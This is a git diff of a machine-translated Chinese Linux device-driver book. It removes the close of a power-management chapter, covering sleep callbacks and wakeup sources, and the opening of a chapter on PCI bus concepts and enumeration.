调用通知程序(当用户空间恢复时)。 - -我将让您在 PM 代码中发现恢复过程的每个步骤都调用了哪些函数。 然而,在驱动内部,这些步骤都是透明的。 驱动 n 需要做的唯一一件事就是根据它希望参与的 s 测试用适当的回调填充`struct dev_pm_ops`,我们将在下一节中看到这一点。 - -## 实现系统休眠功能 - -系统休眠和运行时 PM 是不同的东西,尽管它们彼此相关。 有些情况下,通过不同的方式,它们会将系统带到相同的物理状态。 因此,用一个替换另一个通常不是一个好主意。 - -我们已经看到了设备驱动如何根据它们需要参与的休眠状态在`struct dev_pm_ops`数据结构中填充一些回调来参与系统休眠。 通常提供的回调(与休眠状态无关)是`.suspend`、`.resume`、`.freeze`、`.thaw`、`.poweroff`和`.restore`。 它们是非常通用的回调,定义如下: - -* `.suspend`:这是在系统进入保存主存储器内容的休眠状态之前执行的。 -* `.resume`:在将系统从保存了主存储器内容的休眠状态唤醒之后调用此回调,并且运行此回调时设备的状态取决于设备所属的平台和子系统。 -* `.freeze`:特定于休眠,此回调在创建休眠映像之前执行。 它类似于`.suspend`,但它不应该使设备能够发出唤醒事件信号或改变其电源状态。 实现此回调的大多数设备驱动只需将设备设置保存在内存中,以便在休眠后的`.resume`期间将其重新使用。 -* `.thaw`:此回调是特定于休眠的,在创建休眠映像之后或创建映像失败时执行。 它也是在尝试从这样的映像恢复主存储器的内容失败之后执行的。 它必须撤消前面的`.freeze`所做的更改,才能使设备以与调用`.freeze`之前相同的方式运行。 -* `.poweroff`:也是特定于休眠的,这是在保存休眠图像之后执行的。 它类似于`.suspend`,但它不需要将设备的设置保存在内存中。 -* `.restore`:这是最后一个特定于休眠的回调,在从休眠映像恢复主内存内容后执行。 它类似于`.resume`。 - -前面的大多数回调都非常相似,或者执行的操作大致相似。 虽然`.resume`、`.thaw`和`.restore`三人组可能执行类似的任务,但其他三人组-`->suspend`、`->freeze`和`->poweroff`也是如此。 因此,为了提高代码可读性或促进回调填充,PM 核心提供了`SET_SYSTEM_SLEEP_PM_OPS`宏,该宏采用`suspend`和`resume`函数并填充与系统相关的 PM 回调,如下所示: - -```sh -#define SET_SYSTEM_SLEEP_PM_OPS(suspend_fn, resume_fn) \ -        .suspend = suspend_fn, \ -        .resume = resume_fn, \ -        .freeze = suspend_fn, \ -        .thaw = resume_fn, \ -        .poweroff = suspend_fn, \ -        .restore = resume_fn, -``` - -与`_noirq()`相关的回调也是如此。 如果驱动只需要参与系统挂起的`noirq`阶段,则可以使用`SET_NOIRQ_SYSTEM_SLEEP_PM_OPS`宏自动填充`struct dev_pm_ops`数据结构中与`_noirq()`相关的回调。 以下是宏的定义: - -```sh -#define SET_NOIRQ_SYSTEM_SLEEP_PM_OPS(suspend_fn, resume_fn) \ -        .suspend_noirq = suspend_fn, \ -        .resume_noirq = resume_fn, \ -        .freeze_noirq = suspend_fn, \ -        .thaw_noirq = resume_fn, \ -        .poweroff_noirq = suspend_fn, \ -        .restore_noirq = resume_fn, -``` - -前面的宏只有两个参数,这两个参数表示`suspend`和`resume`回调,但这次是`noirq`阶段。 您应该记住,这样的回调是在系统上禁用 IRQ 的情况下调用的。 - -最后是`SET_LATE_SYSTEM_SLEEP_PM_OPS`宏,它将把 `-> suspend_late`、`-> freeze_late`和`-> poweroff_late`指向相同的函数,而对于`->resume_early`、`->thaw_early`和`->restore_early`,会指向,反之亦然: - -```sh -#define SET_LATE_SYSTEM_SLEEP_PM_OPS(suspend_fn, resume_fn) \ -        .suspend_late = suspend_fn, \ -        .resume_early = resume_fn, \ -        .freeze_late = suspend_fn, \ -        .thaw_early = resume_fn, \ -        .poweroff_late = suspend_fn, \ -        .restore_early = resume_fn, -``` - -除了减少编码工作外,前面的所有宏都用`#ifdef CONFIG_PM_SLEEP`内核配置选项进行了调整,以便在不需要 PM 的情况下不会构建它们。 最后,如果您想对 RAM 和休眠使用相同的暂停和恢复回调,可以使用以下命令: - -```sh -#define SIMPLE_DEV_PM_OPS(name, suspend_fn, resume_fn) \ -const struct dev_pm_ops name = { \ -    SET_SYSTEM_SLEEP_PM_OPS(suspend_fn, resume_fn) \ -} -``` - -在前面的代码段中,`name`表示设备 PM 操作结构将被实例化的名称。 `suspend_fn`和`resume_fn`是系统进入挂起状态或从休眠状态恢复时要调用的回调。 - -既然我们已经能够在驱动代码中实现系统休眠功能,让我们看看如何操作系统唤醒源,从而允许退出休眠状态。 - -# 是系统唤醒的来源 - -PM 内核允许在系统挂起后唤醒系统。 能够唤醒系统的设备在 PM 语言中称为**唤醒源**。 为了唤醒源正常运行,它需要一个所谓的**唤醒事件**,该事件在大部分时间内被同化为一条 IRQ 线路。 换句话说,唤醒源生成唤醒事件。 当唤醒源生成唤醒事件时,唤醒源通过唤醒事件框架提供的接口设置为激活状态。 当事件处理结束时,将其设置为停用状态。 激活和停用之间的间隔表示正在处理事件。 在本节中,我们将了解如何使您的设备成为驱动代码中的系统唤醒源。 - -唤醒源工作,因此当系统中有任何唤醒事件正在处理时,不允许挂起。 如果挂起正在进行,则会终止。 内核通过`struct wakeup_source`对唤醒源进行抽象,`struct wakeup_source`也用于收集与唤醒源相关的统计信息。 以下是`include/linux/pm_wakeup.h`中对此数据结构的定义: - -```sh -struct wakeup_source { -    const char *name; -    struct list_head entry; -    spinlock_t lock; -    struct wake_irq *wakeirq; -    struct timer_list timer; -    unsigned long timer_expires; -    ktime_t total_time; -    ktime_t max_time; -    ktime_t last_time; -    ktime_t start_prevent_time; -    ktime_t prevent_sleep_time; -    unsigned long event_count; -    unsigned long active_count; -    unsigned long relax_count; -    unsigned long expire_count; -   unsigned long wakeup_count; -    bool active:1; -    bool autosleep_enabled:1; -}; -``` - -就代码而言,这个结构对您毫无用处,但是研究它将帮助您理解唤醒源`sysfs`属性的含义: - -* `entry`用于跟踪链表中的所有唤醒源。 -* `timer`与`timer_expires`齐头并进。 当唤醒源产生唤醒事件并且该事件正在被处理时,唤醒源被称为*活动*,并且这防止了系统挂起。 在处理唤醒事件之后(系统不再需要为此处于活动状态),它将恢复为非活动状态。 激活和停用操作都可以由驱动执行,或者驱动可以通过指定激活期间的超时来决定不同的操作。 PM 唤醒核心将使用该超时来配置计时器,该计时器将在事件期满后自动将其设置为非活动状态。 `timer`和`timer_expires`用于此目的。 -* `total_time`是此唤醒源处于活动状态的总时间。 它汇总唤醒源处于活动状态的总时间。 它是与唤醒源对应的设备的忙碌级别和功耗级别的良好指示器。 -* `max_time`是唤醒源保持(或连续)处于活动状态的最长时间。 时间越长,越不正常。 -* `last_time`指示此唤醒源上一次处于活动状态的开始时间。 -* `start_prevent_time`是唤醒源开始阻止系统自动休眠的时间点。 -* `prevent_sleep_time`是此唤醒源阻止系统自动休眠的总时间。 -* `event_count`表示唤醒源报告的事件数。 换句话说,它指示发出信号的唤醒事件的数量。 -* `active_count`表示唤醒源被激活的次数。 在某些情况下,该值可能不相关或不连贯。 例如,当发生唤醒事件时,唤醒源需要切换到活动状态。 但是,情况并不总是如此,因为事件可能在唤醒源已经激活时发生。 因此,`active_count`可能小于`event_count`,在这种情况下,这意味着很可能在前一个唤醒事件被处理到结束之前生成了另一个唤醒事件。 这在一定程度上反映了以醒醒源为代表的设备的业务。 -* `relax_count`表示唤醒源被停用的次数。 -* `expire_count`表示唤醒源超时过期的次数。 -* `wakeup_count`是唤醒源终止挂起进程的次数。 如果唤醒源在挂起过程中生成唤醒事件,则挂起过程将中止。 此变量记录唤醒源终止挂起进程的次数。 这可能是一个很好的指标,可以用来检查您是否已确定系统始终无法挂起。 -* `active`表示唤醒源的激活状态。 -* `autosleep_enabled`,对我来说,记录系统自动睡眠状态的状态,无论它是否启用。 - -要使设备成为唤醒源,其驱动必须调用`device_init_wakeup()`。 此函数设置设备的`power.can_wakeup`标志(以便`device_can_wakeup()`帮助器返回当前设备作为唤醒源的能力),并将其与唤醒相关的属性添加到 sysfs。 此外,它还创建唤醒源对象,注册它,并将其附加到设备(`dev->power.wakeup`)。 但是,`device_init_wakeup()`只会将设备转换为支持唤醒的设备,而不会为其分配唤醒事件。 - -重要音符 - -请注意,只有具有唤醒功能的设备才会在 sysfs 中有一个电源目录来提供所有唤醒信息。 - -为了分配唤醒事件,驱动必须调用`enable_irq_wake()`,给出将用作唤醒事件的 IRQ 行作为参数。 `enable_irq_wake()`做的事情可能是特定于平台的(除了其他事情外,它还调用由底层 irqChip 驱动公开的`irq_chip.irq_set_wake`回调)。 除了打开将给定 IRQ 作为系统唤醒中断线路处理的平台逻辑外,它还指示`suspend_device_irqs()`(在系统挂起路径上调用:参见*暂停阶段*部分,*步骤 5*)以不同方式对待给定 IRQ。 因此,IRQ 将在下一个中断时保持启用状态,之后它将被禁用、标记为挂起和挂起,以便在随后的系统恢复期间由`resume_device_irqs()`重新启用。 这使得驱动的`->suspend`方法成为调用`enable_irq_wake()`的正确位置,因此唤醒事件总是在正确的时刻重新武装。 另一方面,驱动的`->resume`回调是调用`disable_irq_wake()`的正确位置,这将关闭 IRQ 的系统唤醒功能的平台配置。 - -虽然设备作为唤醒源的能力取决于硬件,但具有唤醒功能的设备是否应该发出唤醒事件是一个策略决策,并由用户空间通过`sysfs`属性`/sys/devices/.../power/wakeup`进行管理。 此文件允许用户空间检查或决定是否启用设备(通过其唤醒事件)将系统从睡眠状态唤醒。 此文件可以读取和写入。 读取时,可以返回`enabled`或`disabled`。 如果返回`enabled`,则表示设备能够发出事件;如果返回`disabled`,则表示设备无法执行此操作。 向其写入`enabled`或`disabled`字符串将分别指示设备是否应该发出系统唤醒信号(内核`device_may_wakeup()`帮助器将分别返回`true`或`false`)。 请注意,对于不能生成系统唤醒事件的设备,此文件不存在。 - -让我们在示例中看看驱动如何利用设备的唤醒功能。 以下是`drivers/input/keyboard/snvs_pwrkey.c`中的*i.MX6 SNVS*PowerKey 驱动的摘录: - -```sh -static int imx_snvs_pwrkey_probe(struct platform_device *pdev) -{ -    [...] -    error = devm_request_irq(&pdev->dev, pdata->irq, -    imx_snvs_pwrkey_interrupt, 0, pdev->name, pdev); -    pdata->wakeup = of_property_read_bool(np, “wakeup-source”); -    [...] -    device_init_wakeup(&pdev->dev, pdata->wakeup); -    return 0; -} -static int -    maybe_unused imx_snvs_pwrkey_suspend(struct device *dev) -{ -    [...] -    if (device_may_wakeup(&pdev->dev)) -        enable_irq_wake(pdata->irq); -    return 0; -} -static int maybe_unused imx_snvs_pwrkey_resume(struct                                                device *dev) -{ -    [...] -    if (device_may_wakeup(&pdev->dev)) -        disable_irq_wake(pdata->irq); -    return 0; -} -``` - -在前面的代码摘录中,从上到下,我们使用了驱动探测方法,它首先使用`device_init_wakeup()`函数启用设备唤醒功能。 然后,在 PM 恢复回调中,它在通过调用`enable_irq_wake()`来启用唤醒事件之前,使用关联的 IRQ 号作为参数,检查是否允许设备发出唤醒信号,这要归功于`device_may_wakeup()`帮助器。 将`device_may_wakeup()`用于条件唤醒事件启用/禁用的原因是,用户空间可能已经更改了此设备的唤醒策略(由于 `/sys/devices/.../power/wakeup``sysfs`文件),在这种情况下,此帮助程序将返回当前启用/禁用状态。 该助手实现了与用户空间决策的一致性。 Resume 方法也是如此,它在禁用唤醒事件的 IRQ 行之前执行相同的检查。 - -接下来,在驱动代码的底部,我们可以看到以下内容: - -```sh -static SIMPLE_DEV_PM_OPS(imx_snvs_pwrkey_pm_ops, -                         imx_snvs_pwrkey_suspend, -                         imx_snvs_pwrkey_resume); -static struct platform_driver imx_snvs_pwrkey_driver = { -    .driver = { -        .name = “snvs_pwrkey”, -        .pm   = &imx_snvs_pwrkey_pm_ops, -        .of_match_table = imx_snvs_pwrkey_ids, -    }, -    .probe = imx_snvs_pwrkey_probe, -}; -``` - -上面显示了著名的`SIMPLE_DEV_PM_OPS`宏的用法,这意味着相同的挂起回调(即`imx_snvs_pwrkey_suspend`)将用于挂起到 RAM 或休眠睡眠状态,而相同的恢复回调(实际上是`imx_snvs_pwrkey_resume`)将用于从这些状态恢复。 正如我们在宏中看到的,设备 PM 结构被命名为`imx_snvs_pwrkey_pm_ops`,并在稍后提供给驱动。 填充 PM 操作就这么简单。 - -在结束这一节之前,让我们先来关注一下此设备驱动中的 IRQ 处理程序: - -```sh -static irqreturn_t imx_snvs_pwrkey_interrupt(int irq, -                                             void *dev_id) -{ -    struct platform_device *pdev = dev_id; -    struct pwrkey_drv_data *pdata = platform_get_drvdata(pdev); -    pm_wakeup_event(pdata->input->dev.parent, 0); -    [...] -    return IRQ_HANDLED; -} -``` - -这里的关键函数是`pm_wakeup_event()`。 粗略地说,它报告了一个唤醒事件。 此外,这将暂停当前系统状态转换。 例如,在挂起路径上,它将中止挂起操作并阻止系统进入休眠状态。 以下是该函数的原型: - -```sh -void pm_wakeup_event(struct device *dev, unsigned int msec) -``` - -第一个参数是唤醒源所属的设备,第二个参数`msec`是唤醒源被 PM 唤醒核心自动切换到非活动状态之前等待的毫秒数。 如果`msec`等于 0,则在报告事件后立即禁用唤醒源。 如果`msec`不同于 0,则将唤醒源停用安排在未来`msec`毫秒之后。 - -这是唤醒源的`timer`和`timer_expires`字段使用的地方。 粗略地说,唤醒事件上报由以下步骤组成: - -* 它递增唤醒源的`event_count`计数器,并递增唤醒源的`wakeup_count`,这是唤醒源可能中止挂起操作的次数。 -* If the wakeup source is not yet active (the following are the steps performed on the activation path): - - -它将唤醒源标记为活动,并递增唤醒源的`active_count`元素。 - - -它将唤醒源的`last_time`字段更新为当前时间。 - - -如果另一个字段`autosleep_enabled`为`true`,则更新唤醒源的`start_prevent_time`字段。 - -然后,去激活唤醒源包括以下步骤: - -* 它将唤醒源的`active`字段设置为`false`。 -* 它通过将处于活动状态的时间与其旧值相加来更新唤醒源的`total_time`字段。 -* 如果唤醒源的`max_time`字段的持续时间大于旧的`max_time`字段的值,则它使用处于活动状态的持续时间来更新该字段。 -* 它用当前时间更新唤醒源的`last_time`字段,删除唤醒源的计时器,并清除`timer_expires`。 -* 如果另一个字段`prevent_sleep_time`为`true`,则更新唤醒源的`prevent_sleep_time`字段。 - -如果为`msec == 0`,则可以立即停用;如果不为零,则可以计划在将来停用`msec`毫秒。 所有这些都应该让您想起我们前面介绍的`struct wakeup_source`,它的大部分元素都是通过这个函数调用更新的。 IRQ 处理程序是调用它的好地方,因为中断 t 操作还标记唤醒事件。 您还应该注意到,可以从 sysfs 接口检查任何唤醒的源的每个属性,我们将在下一节中看到。 - -## 唤醒源和 sysfs(或 debugfs) - -这里还需要提到一些其他事情,至少出于调试的目的。 通过打印`/sys/kernel/debug/wakeup_sources`的内容可以列出系统中的整个唤醒源列表(假设系统上安装了`debugfs`): - -```sh -# cat /sys/kernel/debug/wakeup_sources -``` - -该文件还报告了个唤醒源的统计信息,由于设备的与电源相关的 sysfs 属性,可以单独收集这些信息。 其中一些 sysfs 文件属性如下所示: - -```sh -#ls /sys/devices/.../power/wake* -wakeup wakeup_active_count  wakeup_last_time_ms autosuspend_delay_ms wakeup_abort_count  wakeup_count wakeup_max_time_ms wakeup_active wakeup_expire_count wakeup_total_time_ms -``` - -我使用`wake*`模式是为了过滤出与运行时 PM 相关的属性,这些属性也在同一目录中。 与其描述每个属性是什么,不如指出前面的属性映射到`struct wakeup_source`结构中的哪些字段中会更有价值: - -* `wakeup`是 RW 属性,前面已经描述过。 它的内容决定了`device_may_wakeup()`帮助器的返回值。 只有此属性是既可读又可写的。 这里的其他文件都是只读的。 -* `wakeup_abort_count`和`wakeup_count`是指向相同字段(即`wakeup->wakeup_count`)的只读属性。 -* 将`wakeup_expire_count`属性映射到`wakeup->expire_count`字段。 -* `wakeup_active`是只读的,映射到`wakeup->active`元素。 -* `wakeup_total_time_ms`是返回`wakeup->total_time`值的只读属性,其单位是`ms`。 -* `wakeup_max_time_ms`返回`ms`中的`power.wakeup->max_time`值。 -* 只读属性`wakeup_last_time_ms`对应于`wakeup->last_time`值;单位为`ms`。 -* `wakeup_prevent_sleep_time_ms`也是只读的,并映射到以`ms`为单位的唤醒`->prevent_sleep_time`值。 - -并不是所有的设备都能唤醒,但那些能够唤醒的设备可以大致遵循这个指导原则。 - -现在我们已经完成并熟悉了 sysfs 中的唤醒源管理,我们可以引入特殊的`IRQF_NO_SUSPEND`flag,它有助于防止 IRQ 在系统挂起路径中被禁用。 - -## IRQF_NO_SUSPEND 标志 - -即使在整个系统挂起-恢复周期期间,也有个中断需要能够触发,包括挂起和恢复设备的`noirq`个阶段,以及非引导 CPU 脱机和重新联机期间。 例如,计时器中断就是这种情况。 必须在此类中断上设置此标志。 虽然该标志有助于在挂起阶段保持启用中断,但它不能保证 IRQ 会将系统从挂起状态唤醒-对于这种情况,有必要使用`enable_irq_wake()`,它同样是特定于平台的。 因此,您不应该混淆或混合使用`IRQF_NO_SUSPEND`标志和`enable_irq_wake()`。 - -如果带有此标志的 IRQ 由多个用户共享,则每个用户都会受到影响,而不仅仅是设置了该标志的用户。 换句话说,即使在`suspend_device_irqs()`之后,向中断注册的每个处理程序也将照常被调用。 这可能不是你需要的。 因此,您应该避免混合使用`IRQF_NO_SUSPEND`和`IRQF_SHARED`标志。 - -# 摘要 - -在本章中,我们学习了如何管理系统的功耗,既可以从驱动中的代码中进行管理,也可以通过命令行从用户空间进行管理),或者在运行时通过对单个设备进行操作,或者通过处理睡眠状态来对整个系统进行操作。 我们还了解了其他框架如何帮助降低系统的功耗(如 CPUFreq、热量和 CPUIdle)。 - -在下一章中,我们将转到 PCI 设备驱动,它处理位于这条著名的总线上的设备,不需要介绍。 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/11.md b/docs/master-linux-device-driver-dev/11.md deleted file mode 100644 index ac4cce7f..00000000 --- a/docs/master-linux-device-driver-dev/11.md +++ /dev/null @@ -1,1103 +0,0 @@ -# 十一、编写 PCI 设备驱动 - -PCI 不仅仅是一条总线。 它是一个标准,它有一套完整的规范,定义了计算机的不同部分应该如何交互。 多年来,PCI 总线已成为设备互连的事实总线标准,因此几乎每个 SoC 都具有对此类总线的本机支持。 对速度的需求导致了这种公交车的不同版本和不同的世代。 - -在该标准的早期,第一个实现 PCI 标准的总线是 PCI 总线(总线名称与标准相同),作为 ISA 总线的替代品。 这(利用 32 位寻址和无跳线自动检测和配置)改善了 ISA 遇到的地址限制(限制为 24 位,有时需要使用跳线才能路由 IRQ 等)。 与以前的 PCI 标准总线实现相比,提高的主要因素是速度。 - -**PCI Express**是当前的 PCI 总线系列。 它是串行总线,而它的祖先是并行的。 除了速度之外,PCIe 还将其前身的 32 位寻址扩展到 64 位,并在中断管理系统中进行了多项改进。 这个家族分为几代,GenX,我们将在本章的后续章节中看到这一点。 我们将从介绍 PCI 总线和接口开始,在这里我们将了解总线枚举,然后我们将查看 Linux 内核 PCIAPI 和核心功能。 - -所有这一切的好消息是,无论是什么家族,几乎所有的东西对驱动开发者来说都是透明的。 Linux 内核将抽象和隐藏一组减少的 API 后面的大部分机制,这些 API 可用于编写可靠的 PCI 设备驱动。 - -我们将在本章介绍以下主题: - -* PCI 总线和接口简介 -* Linux 内核 PCI 子系统及其数据结构 -* PCI 和**直接存储器访问**(**DMA**) - -# 技术要求 - -需要对 Linux 内存管理和内存映射有一个很好的概述,还需要熟悉中断和锁定的概念,特别是对 Linux 内核的了解。 - -Linuxkernel v4.19.X 源代码可从[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags)获得。 - -# PCI 总线和接口简介 - -**外围组件互连**(**PCI**)是用于将外围硬件设备连接到计算机系统的本地总线标准。 作为总线标准,它定义了计算机的不同外围设备应该如何交互。 然而,多年来,PCI 标准无论是在功能方面还是在速度方面都发生了变化。 到目前为止,我们已经有几个总线系列实现了 PCI 标准,例如,如 PCI(是的,与标准同名的总线),以及**PCI Extended**(**PCI-X**)、**PCI Express**(**PCIe**或**PCI-E**),它是当前一代的 PCI。(**PCI Extended**(**PCI-X**)、**PCI Express**(**PCIe**或**PCI-E**)。 遵循 PCI 标准的总线称为 PCI 总线。 - -从软件的角度来看,所有这些技术都是兼容的,可以由相同的内核驱动处理。 这意味着内核不需要知道使用的确切总线变量。 从软件的角度来看,PCIe*极大地扩展了*PCI,有很多相似之处(尤其是读/写 I/O 或内存事务)。 虽然两者都是软件兼容的,但 PCIe 是串行总线而不是并行总线(在 PCIe 之前,每个 PCI 总线系列都是并行的),这也意味着您不能将 PCI 卡安装在 PCIe 插槽中,也不能将 PCIe 卡安装在 PCI 插槽中。 - -PCI Express 是当今计算机上最流行的总线标准,因此我们将在本章以 PCIe 为目标,并在必要时提到与 PCI 的相似或不同之处。 除此之外,以下是 PCIe 中的一些改进: - -* PCIe 是串行总线技术,而 PCI(或其他实现)是并行的,因此减少了连接设备所需的 I/O 通道数量,从而降低了设计复杂性。 -* PCIe 实现了增强的中断管理功能(提供基于消息的中断(又名 MSI 或其扩展版本 MSI-X),从而在不增加延迟的情况下扩展了 PCI 设备可以处理的中断数量。 -* PCIe 提高了传输频率和吞吐量:Gen1、Gen2、Gen3... - -PCI 设备是内存映射设备的类型。 连接到任何 PCI 总线的设备被分配处理器地址空间中的地址范围。 这些地址范围在 PCI 地址域中具有不同的含义,它包含三种不同类型的内存,具体取决于它们所包含的内容(基于 PCI 的设备的控制、数据和状态寄存器)或访问方式(I/O 端口或内存映射)。 设备驱动/内核将访问这些存储区域,以控制通过 PCI 总线连接的特定设备,并与其共享信息。 - -PCI 地址域包含三种不同的内存类型,它们必须映射到处理器的地址 space 中。 - -## 术语 - -由于 PCIe 生态系统相当大,在深入讨论之前,我们可能需要熟悉一些术语。 这些资料如下: - -* **根联合体**(**rc**):指的是 SoC 中的 PCIe 主机控制器。 它可以在没有 CPU 干预的情况下访问主存储器,这是其他设备用来访问主存储器的特征。 它们也称为主机到 PCI 网桥。 -* **Endpoint**(**EP**):端点是 PCIe 设备,由类型`00h`配置空间标头表示。 它们从不出现在交换机的内部总线上,也没有下游端口。 -* **通道**:这表示组差分信号对(一对用于 Tx,一对用于 Rx)。 -* **Link**:这表示两个组件之间的双单工(实际上是一对)通信通道。 为了扩展带宽,链路可以聚合由`xN`(`x1`、`x2`、`x4`、`x8`、`x12`、`x16`和`x32`)表示的多条通道,其中`N`是对的数量。 - -并非所有 PCIe 设备都是端点。 它们也可以是交换机或网桥。 - -* **桥接器**:它们提供到其他总线的接口,比如 PCI 或 PCIX,甚至另一条 PCIe 总线。 网桥还可以提供到同一总线的接口。 例如,PCI 到 PCI 桥通过创建一个完全独立的二级总线(我们将在接下来的章节中看到二级总线是什么),方便了向总线添加更多的负载。 网桥的概念有助于理解和实施交换机的概念。 -* **Switches**: These provide an aggregation capability and allow more devices to be attached to a single root port. It goes without saying that switches have a single upstream port, but may have several downstream ports. They are smart enough to act as packet routers and recognize which path a given packet will need to take based on its address or other routing information, such as an ID. That being said, there is also implicit routing, which is used only for certain message transactions, such as broadcasts from the root complex and messages that always go to the root complex. - - 交换机下游端口是从内部总线桥接到表示此 PCI Express 交换机的下游 PCI Express 链路的总线的(虚拟)PCI-PCI 桥。 请记住,只有代表交换机下游端口的 PCI-PCI 网桥才可能出现在内部总线上。 - - 重要音符 - - PCI 到 PCI 桥提供两条外围组件互连(PCI)总线之间的连接路径。 您应该记住,**在总线枚举期间只考虑 PCI-PCI 桥的下游端口**。 这对于在下支持枚举进程是非常重要的。 - -## PCI 总线枚举、设备配置和寻址 - -与 PCI 相比,PCIe 最明显的改进是它的点对点总线拓扑。 每个设备都位于自己的专用总线上,在 PCIe 行话中,它被称为**链路**。 了解 PCIe 设备的枚举过程需要一些知识。 - -当您查看设备的寄存器空间(在标题类型寄存器中)时,它们会说它们是类型`0`还是类型`1`寄存器空间。 通常,类型`0`表示端点设备,类型`1`表示网桥设备。 该软件必须识别它是与端点设备通话还是与网桥设备通话。 网桥设备配置与端点设备配置不同。 在网桥设备(类型 1)枚举期间,软件必须为其分配以下元素: - -* **主总线号**:这是上游总线号。 -* **次级/从属总线号**:这给出了特定 PCI 网桥的下游总线号的范围。 次要总线号是紧接在 PCI-PCI 桥下游的总线号,而从属总线号表示桥下游可到达的所有总线中的最高总线号。 在枚举的第一阶段,由于`255`是最高的总线编号,所以从属总线编号字段被赋予值`0xFF`。 当枚举继续时,此字段将被赋予此桥可以向下游延伸到多远的实际值。 - -### 设备标识 - -设备标识由使设备唯一或可寻址的几个属性或参数组成。 在 PCI 子系统中,这些参数如下: - -* **供应商 ID**:此标识设备的制造商。 -* **设备 ID**:此标识特定供应商设备。 - -前面两个元素可能就足够了,但您也可以依赖以下元素: - -* **修订版 ID**:此指定特定于设备的修订版标识符。 -* **类代码**:此标识设备实现的通用功能。 -* **页眉类型**:此定义页眉的布局。 - -所有这些参数都可以从设备配置寄存器 REGI 中读取。 这就是内核在枚举总线时识别设备 wh 所做的事情。 - -### 总线枚举 - -在深入研究 PCIe 总线枚举函数之前,我们需要注意一些基本限制: - -* 系统(`0-255`)上可以有`256`条总线,因为有`8`位来标识它们。 -* 每条总线(`0-31`)可以有`32`个设备,因为每条总线上都有`5`位来标识它们。 -* 一个设备最多可以有 8 个功能(`0-7`),因此可以使用`3`位来标识它们。 - -所有外部 PCIe 通道,无论它们是否源自 CPU,都位于 PCIe 网桥之后(因此获得新的 PCIe 总线编号)。 组态软件最多可以枚举给定系统上的`256`条 PCI 总线。 数字`0`总是分配给根复合体。 请记住,在总线枚举过程中只考虑 PCI-PCI 网桥的下游端口(次要侧)。 - -PCI 枚举过程基于**深度优先搜索**(**DFS**)算法,该算法通常从随机节点开始(但在 PCI 枚举的情况下,该节点是预先知道的,在我们的例子中是 RC),并且在回溯之前尽可能地沿着每个分支探索(实际寻找桥)。 - -这样说来,当找到一座桥时,组态软件会给它分配一个编号,至少比这座桥所在的总线编号大一个。 在此之后,配置软件开始在此新总线上查找新网桥,依此类推,然后返回到此网桥的同级网桥(如果网桥是多端口交换机的一部分)或邻居网桥(就拓扑而言)。 - -枚举的设备使用 BDF 格式标识,该格式代表*bus-device-function*,它使用十六进制(不带`0x`)表示法的三个字节(即`XX:YY:ZZ`)进行标识。 例如,`00:01:03`的字面意思是公交车`0x00: Device 0x01: Function 0x03`。 我们可以将其解释为总线`0`上的器件`1`的函数`3`。 此符号有助于快速定位给定拓扑中的设备。 如果使用双字节表示法,这将意味着该函数已被省略或无关紧要,换句话说,`XX:YY`。 - -下图显示了 PCIe 交换矩阵的拓扑: - -![Figure 11.1 – PCI bus enumeration ](img/Figure_11.1_B10985.jpg) - -图 11.1-PCI 总线枚举 - -在我们描述前面的拓扑图之前,请重复以下四条语句,直到您熟悉它们: - -1. PCI 到 PCI 桥通过创建完全独立的二级总线来方便向总线添加更多负载。 因此,每个网桥下游端口都是一个新的总线,必须为其分配一个总线号,该总线号至少比它所在的总线号大+1。 -2. 交换机下游端口是从内部总线桥接到表示该 PCI Express 交换机的下行 PCI Express 链路的总线的(种类的虚拟)PCI-PCI(P2P)桥。 -3. CPU 通过主机到 PCI 网桥(代表根联合体中的上游网桥)连接到根联合体。 -4. 在总线枚举期间只考虑 PCI-PCI 桥的下游端口。 - -在将枚举算法应用于图中的拓扑之后,我们可以列出从**A**到**J**的 10 个步骤。 步骤**A**和**B**位于根联合体内部,根联合体承载总线`0`以及两个网桥(从而提供两条总线)`00:00:00`和`00:01:00`。 尽管步骤**C**是标准化枚举逻辑的起点,但下面描述了前面拓扑图中枚举过程中的步骤: - -* `00:00`作为一个(虚拟)网桥,毫无疑问,它的下游端口是一条总线。 然后为其分配编号`1`(请记住,它始终大于网桥所在的总线编号,在本例中为`0`)。 然后枚举总线`1`。 -* 步骤**C**:在总线`1`上有一个开关(一个提供其内部总线的上游虚拟网桥和两个暴露其输出总线的下游虚拟网桥)。 此交换机的内部总线编号为`2`。 -* 我们立即进入步骤**D**,在此找到第一个下游网桥,并在为其分配总线号`3`后枚举其总线,其后面有一个端点(没有下游端口)。 根据 DFS 算法的原理,我们到达了这个分支的叶子节点,这样就可以开始回溯了。 -* 因此,在步骤**E**中,作为在步骤**D**中找到的虚拟网桥的兄弟的虚拟网桥已经找到它的位置。 然后为其总线分配总线号`4`,并且在其后面有一个设备。 回溯可能会再次发生。 -* 然后,我们到达步骤**F**,其中为在步骤 B 中找到的虚拟网桥分配一个总线号,即`5`。 在该总线后面有一个交换机(一个实现内部总线的上游虚拟网桥,其总线号为`6`,以及代表其外部总线的`3`下游虚拟网桥,因此这是一个 3 端口交换机)。 -* 步骤**G**是找到 3 端口交换机的第一个下游虚拟网桥的位置。 它的总线被赋予总线编号`7`,并且该总线后面有一个端点。 如果我们必须使用 BDF 格式标识该端点的函数`0`,那么它将是`07:00:00`(总线`7`上的设备`0`的函数`0`)。 回到 DFS 算法,我们已经到达了分支的底部。 然后我们可以开始回溯,这将我们引向步骤**H**。 -* 在步骤**H**中,找到 3 端口交换机中的第二下游虚拟网桥。 它的总线被分配了总线编号`8`。 此总线后面有一个 PCIe 到 PCI 桥。 -* 在步骤**i**中,该 PCIe 到 PCI 桥被分配有下游总线号`9`,并且在该总线后面有一个 3 功能端点。 在 BDF 表示法中,它们将被标识为`09:00:00`、`09:00:01`和`09:00:02`。 因为端点标记分支的深度,所以它允许我们执行另一次回溯,这将我们带到步骤**J**。 -* 在回溯阶段,我们进入步骤**J**。 找到 3 端口交换机的第三个也是最后一个下游虚拟网桥,并为其总线指定总线号`10`。 此总线后面有一个端点,该端点在 BDF 格式中将被标识为`0a:00:00`。 这标志着枚举过程的结束。 - -乍一看,PCI(E)总线枚举可能看起来很复杂,但它相当简单。 把前面的材料读两遍就足以理解整个过程。 - -## PCI 地址空间 - -根据地址空间的内容或访问方法,PCI 目标最多可以实现三种不同类型的地址空间。 它们是**配置地址空间**、**存储器地址空间**和**I/O 地址空间**。 